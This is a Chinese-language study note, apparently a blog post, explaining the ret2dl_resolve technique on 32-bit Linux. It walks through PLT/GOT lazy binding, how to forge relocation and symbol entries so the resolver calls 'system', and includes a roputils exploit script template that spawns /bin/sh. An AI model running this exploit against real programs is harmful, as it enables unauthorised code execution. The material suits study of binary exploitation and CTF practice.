return to dl_resolve無需leak記憶體實現利用
之前在drop看過一篇文章,是西電的Bigtang師傅寫的,這裡來學習一下姿勢做一些筆記。
0x01 基礎知識
Linux ELF檔案存在兩個很重要的表,一個是got表(.got.plt)一個是plt表(.plt)。這些存在的原因是ELF檔案使用了延遲繫結的技術。當我們呼叫一個函式時,如果這是第一次呼叫,會動用plt中的尋找函式找出這個函式的虛擬地址,然後寫入到got表中,之後第二次第三次呼叫就不需要再查詢,直接把got表中的內容取出使用就可以了。
為了實現這種設計的功能,plt程式碼中是這樣寫的
1 0x8048340 <free@plt>: jmp DWORD PTR ds:0x804a00c 2 0x8048346 <free@plt+6>: push 0x0 3 0x804834b <free@plt+11>: jmp 0x8048330 4 5 0x8048350 <malloc@plt>: jmp DWORD PTR ds:0x804a010 6 0x8048356 <malloc@plt+6>: push 0x8 7 0x804835b <malloc@plt+11>: jmp 0x8048330 8 9 0x8048360 <puts@plt>: jmp DWORD PTR ds:0x804a014 10 0x8048366 <puts@plt+6>: push 0x10 11 0x8048366 <puts@plt+11>: jmp 0x8048330
0x804a00c、0x804a010、0x804a014是free、malloc、puts對應的got表地址。plt程式碼首先會取出got表中的值,然後做一個跳轉,如果是第一次呼叫函式,那麼got表中的值是指向plt第二句的,比如0x804a00c的值就是0x8048346。
plt的第二句會壓入序號,因為free是got表中第一項,所以是push 0x0。而malloc是表中第二項,所以是push 0x8。之後跳入0x8048330。
0x8048330處的程式碼如下所示
0x8048330: push DWORD PTR ds:0x804a004 0x8048336: jmp DWORD PTR ds:0x804a008
0x804a000是got表的起始地址。+8處儲存著查詢函式,這裡跳轉到查詢函式。
ELF檔案的節區如下所示(使用readelf -S ./tst)
vb@unun:~/桌面/double free$ readelf -S ./tst 共有 31 個節頭,從偏移量 0x1844 開始: 節頭: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4 [ 5] .dynsym DYNSYM 080481cc 0001cc 000070 10 A 6 1 4 [ 6] .dynstr STRTAB 0804823c 00023c 00006a 00 A 0 0 1 [ 7] .gnu.version VERSYM 080482a6 0002a6 00000e 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 080482b4 0002b4 000030 00 A 6 1 4 [ 9] .rel.dyn REL 080482e4 0002e4 000008 08 A 5 0 4 [10] .rel.plt REL 080482ec 0002ec 000020 08 AI 5 24 4 [11] .init PROGBITS 0804830c 00030c 000023 00 AX 0 0 4 [12] .plt PROGBITS 08048330 000330 000050 04 AX 0 0 16 [13] .plt.got PROGBITS 08048380 000380 000008 00 AX 0 0 8 [14] .text PROGBITS 08048390 000390 0001e2 00 AX 0 0 16 [15] .fini PROGBITS 08048574 000574 000014 00 AX 0 0 4 [16] .rodata PROGBITS 08048588 000588 000011 00 A 0 0 4 [17] .eh_frame_hdr PROGBITS 0804859c 00059c 00002c 00 A 0 0 4 [18] .eh_frame PROGBITS 080485c8 0005c8 0000cc 00 A 0 0 4 [19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4 [20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4 [21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4 [22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4 [23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [24] .got.plt PROGBITS 0804a000 001000 00001c 04 WA 0 0 4 [25] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4 [26] .bss NOBITS 0804a040 001024 000084 00 WA 0 0 32 [27] .comment PROGBITS 00000000 001024 000034 01 MS 0 0 1 [28] .shstrtab STRTAB 00000000 001739 00010a 00 0 0 1 [29] .symtab SYMTAB 00000000 001058 000480 10 30 47 4 [30] .strtab STRTAB 00000000 0014d8 000261 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
0x02 如何利用
查詢函式的查詢過程
index_arg(push xx)——>.rel.plt(Elf32_Rel
)——>.dynsym(Elf32_Sym
)——>.dynstr(st_name)
事實上,虛擬地址是透過最後一個箭頭,即從st_name得來的,只要我們能夠修改這個st_name就可以執行任意函式。比如把st_name的內容修改成為"system"。
而index_arg是我們控制的,我們需要做的是透過一系列操作。把index_arg可控轉化為st_name可控。
那麼我們要實現控制就要解決一下的幾個問題:
1.怎麼計算index_arg才能控制.rel.plt(Elf32_Rel
)值?
index_arg是我們直接透過壓棧引數進行控制的,使用要偽造的目標地址減去.rel.plt段基地址就是index_arg的值。其中.rel.plt段使用IDA是不能看到的,所以這裡要使用objdump -s -j .rel.plt ./tst命令來檢視。
vb@unun:~/桌面$ objdump -s -j .rel.plt ./tst ./tst: 檔案格式 elf32-i386 Contents of section .rel.plt: 80482ec 0ca00408 07010000 10a00408 07020000 ................ 80482fc 14a00408 07030000 18a00408 07050000 ................
由於我的目標地址處於bss段上的0x804A06,所以就需要進行如下的運算:
0x804A060-0x80482ec=7540,那麼我們的index_arg的值就應該是7540,以指向.rel.plt
域
2.怎麼構造.rel.plt(Elf32_Rel)才能控制.dynsym(Elf32_Sym)值?
當.rel.plt(Elf32_Rel)域落到可控區域之後要考慮的就是如何構造這個的值。
使用readelf -r命令可以看到這些reloc項,其中處於.rel.plt的用於函式重定位也正是我們的目標。
vb@unun:~/桌面$ readelf -r tst 重定位節 '.rel.dyn' 位於偏移量 0x2e4 含有 1 個條目: 偏移量 資訊 型別 符號值 符號名稱 08049ffc 00000406 R_386_GLOB_DAT 00000000 __gmon_start__ 重定位節 '.rel.plt' 位於偏移量 0x2ec 含有 4 個條目: 偏移量 資訊 型別 符號值 符號名稱 0804a00c 00000107 R_386_JUMP_SLOT 00000000 gets@GLIBC_2.0 0804a010 00000207 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804a014 00000307 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
可以看出.rel.plt中的值滿足如下Elf32_Rel結構
typedef struct { Elf32_Addr r_offset; // 這個值就是got表的虛擬地址 Elf32_Word r_info; // .dynsym節區符號表索引(下標為r_info>>8) } Elf32_Rel;
其中第一項是對應的got表的地址。第二項經過>>8運算後是.dynsym節區的索引下標值,我們要控制的就是這一項。
r_info的計算方法是
1.n=(欲偽造的地址-.dynsym基地址)/0x10
2.r_info=n<<8
dynsym基地址使用objdump -s -j .dynsym ./tst來獲取。
3.怎麼構造.dynsym(Elf32_Sym)才能實現控制.dynstr(st_name)值?
typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) 這個就是*/ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
.dynsym
節區包含了動態連結符號表,符號表由Elf32_Sym結構表示。具體情況如上所示。其中第一項就是其對應的st_name到.dynstr節起始的偏移值。我們要把偏移值指向我們的可控區域,就能實現控制st_name
.dynstr的基地址由objdump -s -j .dynstr ./tst來獲得。
3. .dynstr寫入system完成利用
.dynstr
節包含了動態連結的字元,字串是直接以ASCII碼的形式儲存的。所以在指標指向的地方直接寫入ASCII形式的system即可達成利用!
0x03 現成的指令碼模版
來自Github
from roputils import * fpath = sys.argv[1] offset = int(sys.argv[2]) rop = ROP(fpath) addr_bss = rop.section('.bss') buf = rop.retfill(offset) buf += rop.call('read', 0, addr_bss, 100) buf += rop.dl_resolve_call(addr_bss+20, addr_bss) p = Proc(rop.fpath) p.write(p32(len(buf)) + buf) print "[+] read: %r" % p.read(len(buf)) buf = rop.string('/bin/sh') buf += rop.fill(20, buf) buf += rop.dl_resolve_data(addr_bss+20, 'system') buf += rop.fill(100, buf) p.write(buf) p.interact(0)
相關文章
- return new物件造成溢位記憶體2018-08-23物件記憶體
- Android WebView Memory Leak WebView記憶體洩漏2013-06-02AndroidWebView記憶體
- SQL Server 記憶體洩露(memory leak)——遊標導致的記憶體問題2012-06-06SQLServer記憶體洩露
- SQL Server 記憶體洩露”(memory leak)的案例—遊標導致的記憶體問題2011-08-15SQLServer記憶體洩露
- 實體記憶體充足卻無法增加SGA2016-01-14記憶體
- C++記憶體管理:簡易記憶體池的實現2021-12-13C++記憶體
- java記憶體模型的實現2019-06-22Java記憶體模型
- 處理Oracle記憶體洩露 ORA-00600 [729] [space leak]2014-07-11Oracle記憶體洩露
- 實體記憶體和虛擬記憶體2007-03-05記憶體
- 7.7 實現程式記憶體讀寫2023-09-25記憶體
- 記憶體管理篇——實體記憶體的管理2022-02-23記憶體
- CTF記憶體高階利用技術2016-10-01記憶體
- 虛擬記憶體到實體記憶體(32位)2015-01-07記憶體
- 【Java基礎】實體記憶體&虛擬記憶體2024-10-19Java記憶體
- Spring實現無需註解實現自動注入2016-08-20Spring
- Redis的記憶體和實現機制2020-06-12Redis記憶體
- 記憶體管理Release和Retain實現原理2019-03-06記憶體AI
- 7.1 實現程式記憶體塊列舉2023-09-22記憶體
- 分析高效記憶體池的實現方式2018-06-06記憶體
- Flink原理與實現:記憶體管理2016-07-19記憶體
- Linux共享記憶體的核心實現2016-07-11Linux記憶體
- 如何編碼實現記憶體洩露2013-04-26記憶體洩露
- 如何編碼實現記憶體溢位2013-04-26記憶體溢位
- linux記憶體管理(一)實體記憶體的組織和記憶體分配2024-06-07Linux記憶體
- 記憶體管理兩部曲之實體記憶體管理2021-05-22記憶體
- AntDB記憶體管理之記憶體上下文之記憶體上下文機制是怎麼實現的2024-01-08記憶體
- 一行程式碼教你解決FlutterPlatformViews記憶體洩露(memory leak)2019-02-21行程FlutterPlatformView記憶體洩露
- GoldenGate通過CACHEMGR限制記憶體利用2012-06-21Go記憶體
- 資料庫實現原理#6(共享記憶體)2020-04-20資料庫記憶體
- C++記憶體池的實現例項2013-05-28C++記憶體
- thinkphp 利用中介軟體 實現日誌操作記錄2020-12-11PHP
- 無需設定路由器,無需公網ip 實現永久免費內網穿透2020-11-25路由器內網穿透
- filebeat實踐-記憶體佔用-最大記憶體佔用2017-11-11記憶體
- 如何檢視linux系統中空閒記憶體/實體記憶體使用/剩餘記憶體2018-09-20Linux記憶體
- 深入理解 Linux 實體記憶體分配全鏈路實現2023-01-02Linux記憶體
- 有管理共享記憶體設計方法的具體實現2024-11-02記憶體
- 利用Windbg分析高記憶體佔用問題2021-12-29記憶體
- 記憶體屏障在CPU、JVM、JDK中的實現2021-02-02記憶體JVMJDK